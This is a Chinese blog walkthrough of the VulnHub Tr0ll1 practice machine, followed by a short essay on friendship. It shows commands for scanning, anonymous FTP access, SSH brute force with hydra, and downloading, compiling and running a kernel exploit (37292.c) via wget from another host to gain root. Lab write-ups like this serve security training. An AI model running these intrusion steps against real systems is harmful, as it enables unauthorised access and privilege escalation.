VulnHub-Tr0ll1靶机实战

迈不过友情╰ 2023-01-05 12:29 188阅读 0赞

### [学习笔记下载][Link 1] ###

https://download.csdn.net/download/qq_41901122/14122172

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxOTAxMTIy_size_16_color_FFFFFF_t_70]  
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### 靶机下载地址 ###

https://www.vulnhub.com/entry/tr0ll-1,100/

### 环境: ###

<table> 
 <thead> 
  <tr> 
   <th>Vmware 15.5</th> 
  </tr> 
 </thead> 
 <tbody> 
  <tr> 
   <td>靶机地址:192.168.246.128</td> 
  </tr> 
  <tr> 
   <td>kali地址:192.168.246.131</td> 
  </tr> 
 </tbody> 
</table>

### 第一部分 信息收集 ###

#### 第一步 进行端口扫描，去发现存活主机，发现主机开放21、22、80端口 ####

namp -sP 192.168.246.0/24
    nmap -sS -sV -TS -A -P- 192.168.246.131

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxOTAxMTIy_size_16_color_FFFFFF_t_70 2]

#### 第二步 访问80端口 ####

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxOTAxMTIy_size_16_color_FFFFFF_t_70 3]

#### 第三步 只能扫目录，看看可以访问的目录， ####

dirb http://192.168.246.131

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxOTAxMTIy_size_16_color_FFFFFF_t_70 4]  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxOTAxMTIy_size_16_color_FFFFFF_t_70 5]

### 第二部分 利用ftp ###

#### 第一步 表示放弃80端口，尝试21的ftp做突破口 ####

连上发现目录下有什么文件，下载下来看看有什么思路

ftp 192.168.246.131
      账号:anonymous
      密码:ftp
     ls
    get lol.pcap
    发现lol，pcap为Wireshark的数据包

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxOTAxMTIy_size_16_color_FFFFFF_t_70 6]

#### 第二步 通过wirshark分析数据 ####

分析有关ftp-date的数据包

ftp传输发生的，而且被抓取对象也使用了匿名登录，secret_stuff.txt文件被上传，内容:
    Well, well, well, aren't you just a clever little devil, you almost found the sup3rs3cr3tdirlol :-P
    Sucks, you were so close... gotta TRY HARDER!

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxOTAxMTIy_size_16_color_FFFFFF_t_70 7]  
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![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxOTAxMTIy_size_16_color_FFFFFF_t_70 10]

#### 第三步 访问secret\_stuff.txt、sup3rs3cr3tdirlol 目录 ####

通过下载文件，发现是32位ELF可执行文件，使用strings查看文件内容，
    发现:
    Find address 0x0856BF to proceed
    大致就是找0x0856BF地址

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxOTAxMTIy_size_16_color_FFFFFF_t_70 11]  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxOTAxMTIy_size_16_color_FFFFFF_t_70 12]

#### 第四步 访问0x0856BF目录 ####

92.168.246.131/0x0856BF/good_luck/which_one_lol.txt 发现用户名字典
    maleus
    ps-aux
    felux
    Eagle11
    genphlux < -- Definitely not this one
    usmc8892
    blawrg
    wytshadow
    vis1t0r
    overflow
    http://192.168.246.131/0x0856BF/this_folder_contains_the_password/ 密码字典
    直接提示这个文件里面包含了密码,密码就是Pass.txt

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxOTAxMTIy_size_16_color_FFFFFF_t_70 13]  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxOTAxMTIy_size_16_color_FFFFFF_t_70 14]  
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### 第三部分 爆破ssh账密 ###

有了账密字典，上九头蛇暴力破解

hydra -L user.txt -p pass.txt 192.168.246.131 ssh
    [22][ssh] host: 192.168.246.131   login: overflow   password: Pass.txt
    ssh overflow@192.168.246.131

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxOTAxMTIy_size_16_color_FFFFFF_t_70 16]  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxOTAxMTIy_size_16_color_FFFFFF_t_70 17]

### 第四部分 提权 ###

#### 第一步 查看一些基本信息 ####

id
    whoami
    uname -a 尝试利用msf进行版本漏洞攻击
    运行Ubuntu 14.04和3.13内核

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxOTAxMTIy_size_16_color_FFFFFF_t_70 18]

#### 第二步 搜索版本信息漏洞 ####

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxOTAxMTIy_size_16_color_FFFFFF_t_70 19]

#### 第三步 将37292.c上传到靶机，并进行编译、执行 ####

cd /tmp
    wget http://192.168.246.129/37292.c
    gcc 37292.c -o exp
    chmod +x exp
    ./exp
    whoami
    cd /root
    ls
    cat proof.txt
    最终的key:702a8c18d29c6f3ca0d99ef5712bfbdc

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxOTAxMTIy_size_16_color_FFFFFF_t_70 20]

### 摘抄 ###

--------------------

朋友不在多，交心足矣。  
朋友，不是先来的人或者认识最久的人，  
而是那个来了以后再也没有走的人。  
年轻时我们喜欢呼朋引伴，或许是为了合群，  
为了抵抗孤单，有时也是为了多一条路。  
可人到了一定年纪就不太会轻易交朋友了，  
并不是排斥新的朋友，只是年纪越大，似乎交心就越难。  
与其浪费时间和精力去维持一些无用的社交，  
不如好好珍惜知你、懂你的三五好友。  
真正的友谊，不畏流年，不惧距离。  
真正的好友，哪怕只有一个，也是人生幸事。

--------------------

[Link 1]: https://download.csdn.net/download/qq_41901122/14122172
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